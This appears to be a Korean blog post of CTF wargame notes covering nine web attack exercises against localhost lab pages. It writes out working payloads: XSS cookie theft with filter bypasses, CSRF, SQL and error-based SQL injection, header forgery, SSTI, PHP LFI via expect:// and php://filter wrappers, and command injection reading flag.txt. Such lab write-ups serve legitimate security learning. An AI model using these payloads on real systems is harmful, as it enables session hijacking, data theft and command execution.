반응형
1. XSS 공격
- 취약점이 있는 URL에 자바스크립트 공격 삽입
- memo 페이지는 입력받은 쿼리 값을 삽입해주는 페이지
- vul 페이지는 XSS 취약점이 존재하는 페이지
- main 페이지는 admin의 cookie를 가진 임의의 사용자가 vul 페이지에 쿼리 값을 입력해줌
- 다음과 같이 입력하여 memo에 cookie값을 출력해줌
http://localhost:8080/main?attack=<script>location.href ='/memo?memo=' + document.cookie</script>
2. XSS 공격 (2)
- vul 페이지에는 script 나 javascript: 등을 필터링 해주는 코드가 존재
- XSS 우회를 통해 해결
- img 라는 html 태그를 추가하여 오류 발생 시 다음과 같은 script를 실행하게 함
http://localhost:8080/main?attack=<img src="a" onerror="location.href ='/memo?memo=' + document.cookie"/>
- 또는 다음과 같이 필터를 우회할 수 있음 (scscriptript)
http://localhost:8080/main?attack=<scscriptript>location.href ='/memo?memo=' + document.cookie</scscriptript>
3. CSRF 공격
- 사용자가 의도하지 않은 행위를 유발시켜야 함
- XSS 공격을 진행하는 페이지와 동일
- 단, flag 값을 출력해주는 admin 페이지가 추가됨
- src에 admin 페이지를 추가하여 admin url을 강제로 실행시켜줌
http://localhost:8080/main?attack=<img src="/admin" style="display: none;"/>
4. SQL Injection 공격
- query = `SELECT pw FROM users WHERE id='guest${request.get.id}'`
- admin의 pw에 flag가 존재
- 기존에 있는 id 값을 거짓으로 바꾸고 새롭게 조건을 추가하여 admin의 pw를 추가
http://localhost:8080/?id=ooo' or id='admin' --
5. Error Based SQL Injection 공격
- query = `SELECT * FROM users WHERE id='${request.get.id}'`
- id 값을 입력해도 쿼리문의 결과를 출력하지 않음
- extractvalue 함수는 xml로 표현된 문자 내에서 조건에 따른 특정 문자를 출력해줌
- xml 표현식에 사용되지 않는 특수문자를 입력하면 오류를 발생시키는 데, 이 때 오류 메시지는 질의문에 실행 결과를 보여줌
1' and extractvalue(1, concat(0x3a, (SELECT pw FROM users WHERE id='admin'))); # 0x3a : :
1' and extractvalue(1, concat(0x3a, (SELECT pw FROM users LIMIT 0, 1)));
1' and extractvalue(1, concat(0x3a, (SELECT substr(pw, 29, 30) FROM users LIMIT 0, 1)));
6. 헤더 조작
- 다음 조건들을 통과하면 FLAG를 획득할 수 있음

POST /admin HTTP/1.1
Host: 127.0.0.1
Content-Length: 12
Content-Type: application/x-www-form-urlencoded # post 패킷을 보내기 위해서는 다음의 헤더 값이 필요함
userid=admin
User-Agent: Admin Browser
DreamhackUser: admin
Cookie: admin=true
7. SSTI 취약점
- 서버에서 웹 템플릿을 작성할 경우 발생하는 취약점

- request.path의 값을 그대로 출력하기 때문에 flask를 사용하는 환경에서는 다음과 같은 요청으로 FLAG를 구할 수 있음
http://localhost:8080/{{config}}
8. PHP LFI 취약점
- php 파일을 불러올 때 include에 의해 로드된다면 취약점이 존재하게 됨
<?php
include $_GET['page']?$_GET['page'].'.php':'main.php';
?>
- page 값에 ../../uploads/shell.php 입력 등을 통해 악의적인 php 실행 가능
- 다양한 php wrapper를 통해 공격 가능
- expect:// : system command 실행, http://localhost:8080/index.php?page=expect://ls
- php://filter/ : 다양한 I/O 스트림을 사용, 주로 base64 encoding으로 문서 열람, http://localhost:8080/index.php?page=php://filter/convert.base64-encode/resource=flag.php
- zip:// : zip 파일의 압축 풀기 후 코드를 실행시킴 http://localhost:8080/index.php?page=zip://file.zip#shell.php
9. Command Injection
- 입력 받은 IP로 핑을 보내는 웹 서비스가 있음 (ping {request.get.id})
- 세미콜론으로 여러 명령어를 실행 가능
8.8.8.8; cat flag.txt
반응형
'IT Dictionary > CTF & 보안' 카테고리의 다른 글
| CTF 3일차 (0) | 2026.01.22 |
|---|---|
| CTF 2일차 (0) | 2026.01.20 |